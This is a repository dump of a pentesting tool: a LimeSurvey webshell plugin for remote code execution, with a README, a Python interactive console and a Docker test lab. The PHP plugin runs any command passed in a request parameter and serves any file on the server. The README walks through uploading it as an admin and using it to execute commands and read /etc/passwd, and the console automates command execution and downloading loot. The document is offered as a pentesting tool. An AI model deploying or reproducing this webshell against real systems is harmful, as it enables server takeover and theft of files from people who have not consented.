├── .github ├── FUNDING.yml ├── configuration_plugins.png ├── demo.mp4 ├── download_file_web.png ├── exec_code_web.png └── upload_and_install.png ├── Makefile ├── README.md ├── console.py ├── dist └── limesurvey-webshell-plugin-1.1.0.zip ├── plugin ├── config.xml └── webshell.php └── test_env ├── Dockerfile └── Makefile /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: p0dalirius 4 | patreon: Podalirius -------------------------------------------------------------------------------- /.github/configuration_plugins.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/configuration_plugins.png -------------------------------------------------------------------------------- /.github/demo.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/demo.mp4 -------------------------------------------------------------------------------- /.github/download_file_web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/download_file_web.png -------------------------------------------------------------------------------- /.github/exec_code_web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/exec_code_web.png -------------------------------------------------------------------------------- /.github/upload_and_install.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/.github/upload_and_install.png -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: all build 2 | 3 | VERSION := 1.2.0 4 | 5 | all: build 6 | 7 | build: 8 | @if [ -f ./dist/limesurvey-webshell-plugin-${VERSION}.zip ]; then rm ./dist/limesurvey-webshell-plugin-${VERSION}.zip; fi 9 | @if [ ! -d ./dist/ ]; then mkdir ./dist/; fi 10 | @cd plugin; zip -r ../dist/limesurvey-webshell-plugin-${VERSION}.zip ./config.xml ./webshell.php 11 | @echo "[+] Saved to ./dist/limesurvey-webshell-plugin-${VERSION}.zip" 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # LimeSurvey webshell plugin for RCE 2 | 3 |

4 | A webshell plugin and interactive shell for pentesting a LimeSurvey application. 5 |
6 | GitHub release (latest by date) 7 | 8 | YouTube Channel Subscribers 9 |
10 |

11 | 12 | ## Features 13 | 14 | - [x] Webshell plugin for LimeSurvey. 15 | - [x] Execute system commands via an API with `?action=exec`. 16 | - [x] Download files from the remote system to your attacking machine with `?action=download`. 17 | 18 | ## Usage 19 | 20 | **Requirements**: You need to have the credentials of the `admin` account of the LimeSurvey instance. 21 | 22 | ### Step 1: Upload the webshell plugin 23 | 24 | Go to "Configuration --> plugins" page, at http://localhost:10080/index.php/admin/pluginmanager/sa/index, and click on "Upload & install": 25 | 26 | ![](./.github/upload_and_install.png) 27 | 28 | ### Step 2.1: Executing commands 29 | 30 | You can now execute commands by sending a GET or POST request to http://127.0.0.1/upload/plugins/WebShell/webshell.php with `action=exec&cmd=id`: 31 | 32 | ```sh 33 | $ curl -X POST 'http://localhost:10080/upload/plugins/WebShell/webshell.php' --data "action=exec&cmd=id" 34 | {"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"} 35 | ``` 36 | 37 | You can also access it by a GET request from a browser: 38 | 39 | ![](./.github/exec_code_web.png) 40 | 41 | ### Step 2.2: Downloading files 42 | 43 | You can also download remote files by sending a GET or POST request to http://localhost:10080/upload/plugins/WebShell/webshell.php with `action=download&cmd=/etc/passwd`: 44 | 45 | ```sh 46 | $ curl -X POST 'http://127.0.0.1/upload/plugins/WebShell/webshell.php' --data "action=download&path=/etc/passwd" -o- 47 | root:x:0:0:root:/root:/bin/bash 48 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 49 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 50 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 51 | sync:x:4:65534:sync:/bin:/bin/sync 52 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 53 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 54 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 55 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 56 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 57 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 58 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 59 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 60 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 61 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 62 | irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin 63 | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin 64 | nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin 65 | _apt:x:100:65534::/nonexistent:/usr/sbin/nologin 66 | mysql:x:101:101:MySQL Server,,,:/nonexistent:/bin/false 67 | ``` 68 | 69 | You can also download a remote file from a browser with a GET request : 70 | 71 | ![](./.github/download_file_web.png) 72 | 73 | ### Step 3: The interactive console 74 | 75 | When your webshell is active, you can now use the interactive [console.py](console.py) to execute commands and download remote files. 76 | 77 | https://user-images.githubusercontent.com/79218792/163652719-eb16acba-6e2c-47a2-bc52-21ceff24dc09.mp4 78 | 79 | ## References 80 | - https://manual.limesurvey.org/Plugin_autoactivation 81 | -------------------------------------------------------------------------------- /console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # File name : console.py 4 | # Author : Podalirius (@podalirius_) 5 | # Date created : 22 May 2022 6 | 7 | 8 | import argparse 9 | import os 10 | import readline 11 | import requests 12 | import json 13 | 14 | 15 | class CommandCompleter(object): 16 | def __init__(self): 17 | self.options = { 18 | "help": [], 19 | "download": [], 20 | "exit": [] 21 | } 22 | 23 | def complete(self, text, state): 24 | if state == 0: 25 | if len(text) == 0: 26 | self.matches = [s for s in self.options.keys()] 27 | elif len(text) != 0: 28 | self.matches = [s for s in self.options.keys() if s and s.startswith(text)] 29 | try: 30 | return self.matches[state] + " " 31 | except IndexError: 32 | return None 33 | 34 | 35 | readline.set_completer(CommandCompleter().complete) 36 | readline.parse_and_bind('tab: complete') 37 | readline.set_completer_delims('\n') 38 | 39 | 40 | def parseArgs(): 41 | parser = argparse.ArgumentParser(description="Interactive console for Moodle webshell plugin") 42 | parser.add_argument("-t", "--target", default=None, required=True, help='Moodle target instance') 43 | parser.add_argument("-k", "--insecure", dest="insecure_tls", action="store_true", default=False, help="Allow insecure server connections when using SSL (default: False)") 44 | parser.add_argument("-v", "--verbose", default=False, action="store_true", help='Verbose mode. (default: False)') 45 | return parser.parse_args() 46 | 47 | 48 | def remote_exec(target, cmd, verbose=False): 49 | try: 50 | r = requests.post( 51 | "%s/upload/plugins/WebShell/webshell.php" % target, 52 | data={ 53 | "action": "exec", 54 | "cmd": cmd, 55 | } 56 | ) 57 | if r.status_code == 200: 58 | data = r.json() 59 | if verbose: 60 | print(json.dumps(data, indent=4)) 61 | if len(data["stdout"].strip()) != 0: 62 | print(data["stdout"].strip()) 63 | 64 | if len(data["stderr"].strip()) != 0: 65 | for line in data["stderr"].strip().split('\n'): 66 | print("\x1b[91m%s\x1b[0m" % line) 67 | except Exception as e: 68 | print(e) 69 | 70 | 71 | def remote_download(target, remote_path, local_path="./loot/"): 72 | def b_filesize(content): 73 | l = len(content) 74 | units = ['B', 'kB', 'MB', 'GB', 'TB', 'PB'] 75 | for k in range(len(units)): 76 | if l < (1024 ** (k + 1)): 77 | break 78 | return "%4.2f %s" % (round(l / (1024 ** k), 2), units[k]) 79 | # 80 | r = requests.post( 81 | "%s/upload/plugins/WebShell/webshell.php" % target, 82 | data={ 83 | "action": "download", 84 | "path": remote_path, 85 | } 86 | ) 87 | 88 | if r.status_code == 200: 89 | print('\x1b[92m[+] (%9s) %s\x1b[0m' % (b_filesize(r.content), remote_path)) 90 | dir = local_path + os.path.dirname(remote_path) 91 | if not os.path.exists(dir): 92 | os.makedirs(dir, exist_ok=True) 93 | f = open(local_path + remote_path, "wb") 94 | f.write(r.content) 95 | f.close() 96 | return True 97 | else: 98 | print('\x1b[91m[!] (%s) %s\x1b[0m' % ("==error==", remote_path)) 99 | return False 100 | 101 | 102 | def show_help(): 103 | print(" - %-15s %s " % ("download", "Downloads a file from the remote server.")) 104 | print(" - %-15s %s " % ("help", "Displays this help message.")) 105 | print(" - %-15s %s " % ("exit", "Exits the script.")) 106 | return 107 | 108 | 109 | if __name__ == '__main__': 110 | options = parseArgs() 111 | 112 | if not options.target.startswith("https://") and not options.target.startswith("http://"): 113 | options.target = "http://" + options.target 114 | 115 | if options.insecure_tls: 116 | # Disable warings of insecure connection for invalid cerificates 117 | requests.packages.urllib3.disable_warnings() 118 | # Allow use of deprecated and weak cipher methods 119 | requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 120 | try: 121 | requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 122 | except AttributeError: 123 | pass 124 | 125 | running = True 126 | while running: 127 | cmd = input("[webshell]> ").strip() 128 | args = cmd.lower().split(" ") 129 | 130 | if args[0] == "exit": 131 | running = False 132 | elif args[0] == "help": 133 | show_help() 134 | elif args[0] == "download": 135 | if len(args) != 2 and len(args) != 3: 136 | print("Usage: download [localpath]") 137 | elif len(args) == 2: 138 | remote_download(options.target, remote_path=args[1]) 139 | elif len(args) == 3: 140 | remote_download(options.target, remote_path=args[1], local_path=args[2]) 141 | else: 142 | remote_exec(options.target, cmd, verbose=options.verbose) 143 | -------------------------------------------------------------------------------- /dist/limesurvey-webshell-plugin-1.1.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p0dalirius/LimeSurvey-webshell-plugin/bfc170472dbdd2a4d4af8556b4b4966bfdaa1386/dist/limesurvey-webshell-plugin-1.1.0.zip -------------------------------------------------------------------------------- /plugin/config.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | WebShell 5 | plugin 6 | 2022-04-15 7 | 2022-04-15 8 | Podalirius 9 | https://podalirius.net/ 10 | 1.2.0 11 | GNU General Public License version 2 or later 12 | 13 | 14 | 15 | 16 | 6.0 17 | 5.0 18 | 4.0 19 | 3.0 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /plugin/webshell.php: -------------------------------------------------------------------------------- 1 | "Path " . $path_to_file . " does not exist or is not readable.", 27 | "path" => $path_to_file 28 | ) 29 | ); 30 | } 31 | 32 | } elseif ($action == "exec") { 33 | $command = $_REQUEST["cmd"]; 34 | 35 | // Spawn shell process 36 | $descriptorspec = array( 37 | 0 => array("pipe", "w"), // stdout is a pipe that the child will write to 38 | 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 39 | 2 => array("pipe", "w") // stderr is a pipe that the child will write to 40 | ); 41 | 42 | chdir("/"); 43 | $process = proc_open($command, $descriptorspec, $pipes); 44 | 45 | if (!is_resource($process)) { 46 | // Can't spawn process 47 | exit(1); 48 | } 49 | 50 | // Set everything to non-blocking 51 | // Reason: Occasionally reads will block, even though stream_select tells us they won't 52 | // stream_set_blocking($pipes[1], 0); 53 | // stream_set_blocking($pipes[2], 0); 54 | 55 | // If we can read from the process's STDOUT send data down tcp connection 56 | $stdout = ""; $buffer = ""; 57 | do { 58 | $buffer = fread($pipes[1], $chunk_size); 59 | $stdout = $stdout . $buffer; 60 | } while ((!feof($pipes[1])) && (strlen($buffer) != 0)); 61 | 62 | // If we can read from the process's STDOUT send data down tcp connection 63 | $stderr = ""; $buffer = ""; 64 | do { 65 | $buffer = fread($pipes[2], $chunk_size); 66 | $stderr = $stderr . $buffer; 67 | } while ((!feof($pipes[2])) && (strlen($buffer) != 0)); 68 | 69 | fclose($pipes[1]); 70 | fclose($pipes[2]); 71 | proc_close($process); 72 | 73 | header('Content-Type: application/json'); 74 | echo json_encode( 75 | array( 76 | 'stdout' => $stdout, 77 | 'stderr' => $stderr, 78 | 'exec' => $command 79 | ) 80 | ); 81 | } 82 | 83 | ?> 84 | -------------------------------------------------------------------------------- /test_env/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:buster 2 | 3 | RUN apt-get -y -q update; \ 4 | apt-get -y -q install apache2 xxd git unzip wget php php-simplexml php-gd php-ldap php-zip php-imap php-mysql php-mbstring mariadb-client mariadb-server 5 | 6 | RUN service mysql start;\ 7 | mysql -u root -e "CREATE USER 'db'@'%' IDENTIFIED BY 'db'; UPDATE mysql.user set plugin = 'mysql_native_password' WHERE User = 'db'; GRANT ALL PRIVILEGES ON *.* TO 'db'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;" 8 | 9 | RUN wget https://github.com/LimeSurvey/LimeSurvey/archive/refs/tags/5.2.4+211129.zip -O /tmp/LimeSurvey.zip ;\ 10 | cd /var/www/html/; rm index.html; unzip /tmp/LimeSurvey.zip; mv LimeSurvey-5.2.4-211129/* . 11 | 12 | RUN chown www-data: -R /var/www/ 13 | 14 | RUN echo "#!/bin/bash" > /entrypoint.sh ;\ 15 | echo "service mysql start" >> /entrypoint.sh ;\ 16 | echo "apachectl -D FOREGROUND" >> /entrypoint.sh ;\ 17 | chmod +x /entrypoint.sh 18 | 19 | EXPOSE 80 20 | 21 | CMD /entrypoint.sh 22 | -------------------------------------------------------------------------------- /test_env/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: build img 2 | 3 | IMGNAME := awesome_rce_limesurvey_upload_plugin 4 | PORT := 10080 5 | 6 | all : build 7 | 8 | build: 9 | docker build -t $(IMGNAME):latest -f Dockerfile . 10 | 11 | start: build 12 | docker run --rm -it -p $(PORT):80 $(IMGNAME) 13 | 14 | background: 15 | docker run --rm -d -p $(PORT):80 $(IMGNAME) 16 | 17 | shell: 18 | docker exec -it $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') bash 19 | 20 | stop: 21 | docker stop $(shell docker ps | grep $(IMGNAME) | awk '{split($$0,a," "); print a[1]}') --------------------------------------------------------------------------------